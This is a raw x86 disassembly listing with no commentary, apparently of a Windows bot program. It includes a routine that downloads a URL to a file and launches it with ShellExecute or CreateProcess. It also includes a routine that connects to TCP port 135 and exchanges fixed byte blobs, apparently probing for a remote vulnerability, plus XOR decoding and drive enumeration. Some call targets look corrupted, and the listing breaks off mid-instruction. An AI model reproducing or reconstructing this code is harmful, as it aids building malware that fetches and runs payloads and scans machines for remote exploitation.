___:00410F3Aj lea eax, [ebp-4C4h] push offset dword_441D8C push eax call sub_4171D0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_401445 lea eax, [ebp-4C4h] push eax call sub_410557 push dword ptr [ebp-4] call sub_414C60 add esp, 24h push dword ptr [ebp+8] call dword_4453E0 push dword ptr [ebp-1Ch] call sub_40916F pop ecx push 1 nop call near ptr 2700000h loc_410FD1: ; CODE XREF: ___:00410F31j mov eax, [ebp-8] cdq push edx push eax call sub_411586 push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_441DA4 push eax call sub_4171D0 add esp, 1Ch loc_410FFF: ; CODE XREF: ___:00410F00j cmp [ebp-14h], ebx jnz short loc_411024 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_401445 add esp, 14h loc_411024: ; CODE XREF: ___:00411002j lea eax, [ebp-4C4h] push eax call sub_410557 cmp [ebp-4], ebx pop ecx jz short loc_41103F push dword ptr [ebp-4] call sub_414C60 pop ecx loc_41103F: ; CODE XREF: ___:00411034j cmp [ebp+8], ebx jbe short loc_41104D push dword ptr [ebp+8] call dword_4453E0 loc_41104D: ; CODE XREF: ___:00411042j push dword ptr [ebp-1Ch] call sub_40916F pop ecx push ebx nop call near ptr 2700000h loc_41105D: ; DATA XREF: sub_403038+4E60o ; sub_403038+5095o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4452F8 call dword_44524C cmp eax, esi mov [ebp-18h], eax jz loc_4114E9 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 2760000h cmp eax, edi mov [ebp-20h], eax jnb short loc_411124 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_441DD0 push eax call sub_4171D0 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_411107 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_401445 add esp, 14h loc_411107: ; CODE XREF: ___:004110E5j lea eax, [ebp-510h] push eax call sub_410557 push dword ptr [ebp-48h] call sub_40916F pop ecx pop ecx push esi call near ptr 2700000h nop loc_411124: ; CODE XREF: ___:004110C5j xor edi, edi nop call near ptr 26C05FFh mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_414DB0 pop ecx mov [ebp-1Ch], eax loc_41113E: ; CODE XREF: ___:00411211j push 200h lea eax, [ebp-510h] push esi push eax call sub_417070 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_445254 cmp [ebp-34h], esi jz short loc_411182 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_41154F pop ecx pop ecx loc_411182: ; CODE XREF: ___:0041116Fj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2720000h cmp edi, ebx jnb short loc_4111C0 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4111AA mov eax, [ebp+8] loc_4111AA: ; CODE XREF: ___:004111A5j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_4187B0 add esp, 0Ch loc_4111C0: ; CODE XREF: ___:0041119Cj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_4111CD cmp edi, [ebp-3Ch] ja short loc_411217 loc_4111CD: ; CODE XREF: ___:004111C6j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_4111E7 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_441DF8 jmp short loc_4111F7 ; --------------------------------------------------------------------------- loc_4111E7: ; CODE XREF: ___:004111D3j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_441E20 loc_4111F7: ; CODE XREF: ___:004111E5j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_446010 push eax call sub_4171D0 add esp, 10h cmp [ebp+8], esi ja loc_41113E loc_411217: ; CODE XREF: ___:004111CBj cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_41126C cmp edi, [ebp-3Ch] jz short loc_41126C push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_441E48 push eax call sub_4171D0 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_401445 lea eax, [ebp-510h] push eax call sub_410557 add esp, 28h loc_41126C: ; CODE XREF: ___:00411221j ; ___:00411226j nop call near ptr 26C05FFh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 267009Bh nop push dword ptr [ebp-1Ch] call sub_415820 cmp [ebp-38h], esi pop ecx jz short loc_4112F6 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_4112F6 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_441E74 push eax call sub_4171D0 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_401445 lea eax, [ebp-510h] push eax call sub_410557 add esp, 28h loc_4112F6: ; CODE XREF: ___:0041129Ej ; ___:004112B0j cmp [ebp-14h], esi jz loc_411536 cmp dword ptr [ebp-44h], 1 jz loc_4113F1 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_433478 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_433478 fstp qword ptr [esp] push offset unk_441E9C push eax call sub_4171D0 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_411371 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_401445 add esp, 14h loc_411371: ; CODE XREF: ___:0041134Fj lea eax, [ebp-510h] push eax call sub_410557 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_411536 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen_2 ; "open" push esi call dword_4452B4 cmp [ebp-30h], esi jnz loc_411536 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_441EDC push eax call sub_4171D0 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_401445 lea eax, [ebp-510h] push eax call sub_410557 add esp, 24h jmp loc_411536 ; --------------------------------------------------------------------------- loc_4113F1: ; CODE XREF: ___:00411303j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_433478 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_433478 fstp qword ptr [esp] push offset unk_441EF8 push eax call sub_4171D0 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_411459 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_401445 add esp, 14h loc_411459: ; CODE XREF: ___:00411437j lea eax, [ebp-510h] push eax call sub_410557 push 10h lea eax, [ebp-10h] push esi push eax call sub_417070 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_417070 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_4DA3DC push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 267039Fh cmp eax, edi jnz short loc_4114DB call dword_4452A0 call sub_411FA3 push esi nop call near ptr 77E75CB5h loc_4114DB: ; CODE XREF: ___:004114C7j lea eax, [ebp-148h] push eax push offset unk_441F3C jmp short loc_4114F5 ; --------------------------------------------------------------------------- loc_4114E9: ; CODE XREF: ___:004110A2j lea eax, [ebp-248h] push eax push offset unk_441F70 loc_4114F5: ; CODE XREF: ___:004114E7j lea eax, [ebp-510h] push eax call sub_4171D0 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_411529 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_401445 add esp, 14h loc_411529: ; CODE XREF: ___:00411507j lea eax, [ebp-510h] push eax call sub_410557 pop ecx loc_411536: ; CODE XREF: ___:004112F9j ; ___:00411382j ... push dword ptr [ebp-18h] call dword_44537C push dword ptr [ebp-48h] call sub_40916F pop ecx push esi nop call near ptr 2700000h ; =============== S U B R O U T I N E ======================================= sub_41154F proc near ; CODE XREF: ___:0041117Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_41156B loc_41155B: ; CODE XREF: sub_41154F+1Aj mov dl, byte_436C28 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_41155B locret_41156B: ; CODE XREF: sub_41154F+Aj retn sub_41154F endp ; =============== S U B R O U T I N E ======================================= sub_41156C proc near ; CODE XREF: sub_403038+43C5p ; sub_403038+44F7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41A370 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_41156C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411586 proc near ; CODE XREF: sub_40E18A+45Dp ; sub_40E18A+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4DA3E0 push 0 push edi call sub_417070 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4115AB: ; CODE XREF: sub_411586+5Bj ; sub_411586+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41A440 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41A3D0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_4115E9 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4115AB mov byte ptr [esi], 2Ch inc esi jmp short loc_4115AB ; --------------------------------------------------------------------------- loc_4115E9: ; CODE XREF: sub_411586+4Bj dec esi mov eax, edi loc_4115EC: ; CODE XREF: sub_411586+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_4115FB mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_4115EC ; --------------------------------------------------------------------------- loc_4115FB: ; CODE XREF: sub_411586+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_411586 endp ; =============== S U B R O U T I N E ======================================= sub_411605 proc near ; CODE XREF: sub_4117BA+51p ; sub_4117BA+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4453A8 sub eax, 0 jz short loc_411648 dec eax jz short loc_411642 dec eax dec eax jz short loc_41163C dec eax jz short loc_411636 dec eax jz short loc_411630 dec eax jz short loc_41162A mov eax, offset dword_441FC8 retn ; --------------------------------------------------------------------------- loc_41162A: ; CODE XREF: sub_411605+1Dj mov eax, offset off_441FC4 retn ; --------------------------------------------------------------------------- loc_411630: ; CODE XREF: sub_411605+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_411636: ; CODE XREF: sub_411605+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_41163C: ; CODE XREF: sub_411605+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_411642: ; CODE XREF: sub_411605+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_411648: ; CODE XREF: sub_411605+Dj mov eax, offset aUnknown ; "Unknown" retn sub_411605 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41164E proc near ; CODE XREF: sub_411696+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_445238 test eax, eax jz short loc_411683 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_411683: ; CODE XREF: sub_41164E+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_41164E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411696 proc near ; CODE XREF: sub_4117BA+17p ; sub_414129+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_41164E pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_411770 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_411770 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_411770 mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call sub_41A4C0 push edx push eax call sub_411586 push eax mov esi, 80h push offset aSkb ; "%sKB" lea eax, [ebp+var_198] push esi push eax call sub_4172D0 add esp, 18h push 0 push edi push [ebp+var_C] push [ebp+var_10] call sub_41A4C0 push edx push eax call sub_411586 push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi push eax call sub_4172D0 add esp, 18h push 0 push edi push [ebp+var_4] push [ebp+var_8] call sub_41A4C0 push edx push eax call sub_411586 push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi push eax call sub_4172D0 jmp short loc_4117A3 ; --------------------------------------------------------------------------- loc_411770: ; CODE XREF: sub_411696+2Cj ; sub_411696+3Bj ... lea eax, [ebp+var_198] push offset aFailed ; "failed" push eax call sub_4171D0 lea eax, [ebp+var_118] push offset aFailed_0 ; "failed" push eax call sub_4171D0 lea eax, [ebp+var_98] push offset aFailed_1 ; "failed" push eax call sub_4171D0 loc_4117A3: ; CODE XREF: sub_411696+D8j mov eax, [ebp+arg_0] add esp, 18h lea esi, [ebp+var_198] mov edi, eax push 60h pop ecx rep movsd pop edi pop esi leave retn sub_411696 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4117BA proc near ; CODE XREF: sub_41188C+17p ; sub_41188C+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_411696 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed_2 ; "failed" rep movsd push eax call sub_417870 add esp, 10h test eax, eax jnz short loc_41182D push ebx push ebx call sub_411605 pop ecx push eax push offset unk_442004 lea eax, [ebp+var_500] push 200h push eax call sub_4172D0 add esp, 14h jmp short loc_411861 ; --------------------------------------------------------------------------- loc_41182D: ; CODE XREF: sub_4117BA+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_411605 pop ecx push eax push offset unk_442040 lea eax, [ebp+var_500] push 200h push eax call sub_4172D0 add esp, 20h loc_411861: ; CODE XREF: sub_4117BA+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 lea eax, [ebp+var_500] push eax call sub_410557 add esp, 18h pop edi pop esi pop ebx leave retn sub_4117BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41188C proc near ; CODE XREF: sub_403038+39AEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4118AD push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4117BA add esp, 10h jmp short loc_41190E ; --------------------------------------------------------------------------- loc_4118AD: ; CODE XREF: sub_41188C+9j push esi push edi push ebx push ebx call dword_4452B0 lea esi, [eax+2] push esi call sub_414DB0 pop ecx mov edi, eax push edi push esi call dword_4452B0 cmp [edi], bl mov esi, edi jz short loc_411905 loc_4118D1: ; CODE XREF: sub_41188C+77j push offset off_44207C push esi call sub_417870 pop ecx test eax, eax pop ecx jz short loc_4118F4 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4117BA add esp, 10h loc_4118F4: ; CODE XREF: sub_41188C+54j push esi call sub_414BE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_4118D1 loc_411905: ; CODE XREF: sub_41188C+43j push edi call sub_415820 pop ecx pop edi pop esi loc_41190E: ; CODE XREF: sub_41188C+1Fj pop ebx pop ebp retn sub_41188C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411911 proc near ; CODE XREF: sub_411949+125p ; sub_411949+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_41193F loc_411922: ; CODE XREF: sub_411911+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41A570 add esp, 0Ch test eax, eax jz short loc_411945 inc esi cmp esi, edi jl short loc_411922 loc_41193F: ; CODE XREF: sub_411911+Fj xor al, al loc_411941: ; CODE XREF: sub_411911+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_411945: ; CODE XREF: sub_411911+27j mov al, 1 jmp short loc_411941 sub_411911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411949 proc near ; CODE XREF: ___:0040AE11p ; ___:0040C803p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417E20 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41198A dec eax jz short loc_411968 dec eax loc_411962: ; CODE XREF: sub_411949+57j xor eax, eax loc_411964: ; CODE XREF: sub_411949+3Fj ; sub_411949+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_411968: ; CODE XREF: sub_411949+16j push 3 push 1388h push [ebp+arg_0] call dword_445388 push eax call sub_409C62 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_411964 ; --------------------------------------------------------------------------- loc_41198A: ; CODE XREF: sub_411949+13j push 6 push 1 push 2 call dword_4453C8 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_411962 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417070 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_445348 push [ebp+arg_0] mov [ebp+var_E], ax call sub_402561 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4452F0 cmp eax, edi jz loc_411AA6 push ebx push 48h push offset dword_442080 push esi call dword_445398 cmp eax, edi jz loc_411AA6 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_445360 cmp eax, edi jz loc_411AA6 cmp [ebp+var_200E], 0Ch jnz short loc_411AA6 push ebx push 18h push offset dword_4420CC push [ebp+arg_4] call dword_445398 cmp eax, edi jz short loc_411AA6 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_445360 mov esi, eax cmp esi, edi jz short loc_411AA6 cmp [ebp+var_200E], 2 jnz short loc_411AA6 push 10h push offset loc_4420E8 lea eax, [ebp+var_2010] push esi push eax call sub_411911 add esp, 10h test al, al jz short loc_411A86 cmp esi, 12Ch setnl bl inc ebx jmp short loc_411AA6 ; --------------------------------------------------------------------------- loc_411A86: ; CODE XREF: sub_411949+12Fj push 10h push offset dword_4420FC lea eax, [ebp+var_2010] push esi push eax call sub_411911 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_411AA6: ; CODE XREF: sub_411949+9Bj ; sub_411949+B2j ... push [ebp+arg_4] call dword_4453E0 mov eax, ebx pop ebx jmp loc_411964 sub_411949 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AB7 proc near ; CODE XREF: sub_403038+BBBp ; sub_403038+BF8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_411B42 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_411B42 cmp [ebp+arg_8], esi jz short loc_411B42 cmp byte ptr [eax], 0 jz short loc_411B42 push ebx push edi call sub_431CB0 mov ebx, eax pop ecx test ebx, ebx jz short loc_411B3D push [ebp+arg_4] push edi call sub_417B50 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_411B36 sub eax, edi push eax push edi push ebx call sub_417770 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_414BE0 push eax push [ebp+arg_8] push ebx call sub_418680 push [ebp+arg_4] call sub_414BE0 add eax, esi push eax push ebx call sub_4184D0 push ebx push edi call sub_4184C0 add esp, 30h mov esi, edi loc_411B36: ; CODE XREF: sub_411AB7+3Cj push ebx call sub_415820 pop ecx loc_411B3D: ; CODE XREF: sub_411AB7+2Bj mov eax, esi pop ebx jmp short loc_411B44 ; --------------------------------------------------------------------------- loc_411B42: ; CODE XREF: sub_411AB7+Cj ; sub_411AB7+13j ... xor eax, eax loc_411B44: ; CODE XREF: sub_411AB7+89j pop edi pop esi pop ebp retn sub_411AB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B48 proc near ; CODE XREF: sub_402EC0+E9p ; ___:0040EB0Cp var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417070 mov esi, [ebp+arg_0] push esi call sub_414BE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_411B7E or eax, 0FFFFFFFFh jmp short loc_411BF1 ; --------------------------------------------------------------------------- loc_411B7E: ; CODE XREF: sub_411B48+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_411BA0 loc_411B8A: ; CODE XREF: sub_411B48+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_411B97 cmp dl, 0Dh jnz short loc_411B9B loc_411B97: ; CODE XREF: sub_411B48+48j and byte ptr [ecx+esi], 0 loc_411B9B: ; CODE XREF: sub_411B48+4Dj inc ecx cmp ecx, eax jl short loc_411B8A loc_411BA0: ; CODE XREF: sub_411B48+40j xor edx, edx push edi test eax, eax jle short loc_411BD1 lea edi, [ebp+var_7CC] loc_411BAD: ; CODE XREF: sub_411B48+87j cmp byte ptr [edx+esi], 0 jnz short loc_411BCC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_411BCC cmp ebx, 1F4h jge short loc_411BD1 mov [edi], ecx inc ebx add edi, 4 loc_411BCC: ; CODE XREF: sub_411B48+69j ; sub_411B48+74j inc edx cmp edx, eax jl short loc_411BAD loc_411BD1: ; CODE XREF: sub_411B48+5Dj ; sub_411B48+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_411BEF lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_4187B0 add esp, 0Ch loc_411BEF: ; CODE XREF: sub_411B48+8Ej mov eax, ebx loc_411BF1: ; CODE XREF: sub_411B48+34j pop esi pop ebx leave retn sub_411B48 endp ; =============== S U B R O U T I N E ======================================= sub_411BF5 proc near ; CODE XREF: sub_411C4F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_411C2E push ebx mov ebx, edi loc_411C12: ; CODE XREF: sub_411BF5+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_411C31 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_411C12 pop ebx loc_411C2E: ; CODE XREF: sub_411BF5+18j pop edi pop esi retn sub_411BF5 endp ; =============== S U B R O U T I N E ======================================= sub_411C31 proc near ; CODE XREF: sub_411BF5+25p ; sub_411C4F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41A630 cmp al, 61h pop ecx jl short loc_411C4C cmp al, 7Ah jg short loc_411C4C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_411C4C: ; CODE XREF: sub_411C31+Ej ; sub_411C31+12j xor eax, eax retn sub_411C31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C4F proc near ; CODE XREF: ___:00410660p ; ___:004106E5p ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417E20 push ebx push esi push edi push [ebp+arg_0] call sub_414BE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_414BE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_411BF5 add esp, 14h dec esi mov edi, esi loc_411C8D: ; CODE XREF: sub_411C4F+B6j test esi, esi jle short loc_411D0B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41A630 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41A630 pop ecx cmp eax, ebx pop ecx jz short loc_411D03 loc_411CB3: ; CODE XREF: sub_411C4F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_411C31 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_411CD4 mov eax, ecx loc_411CD4: ; CODE XREF: sub_411C4F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_411D07 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41A630 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41A630 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_411CB3 loc_411D03: ; CODE XREF: sub_411C4F+62j dec edi dec esi jmp short loc_411C8D ; --------------------------------------------------------------------------- loc_411D07: ; CODE XREF: sub_411C4F+8Aj xor eax, eax jmp short loc_411D10 ; --------------------------------------------------------------------------- loc_411D0B: ; CODE XREF: sub_411C4F+40j mov eax, [ebp+arg_0] add eax, edi loc_411D10: ; CODE XREF: sub_411C4F+BAj pop edi pop esi pop ebx leave retn sub_411C4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D15 proc near ; CODE XREF: sub_403038+2D35p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 26908EFh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27C0000h lea eax, [ebp+var_100] loc_411D4E: ; CODE XREF: sub_411D15+46j mov 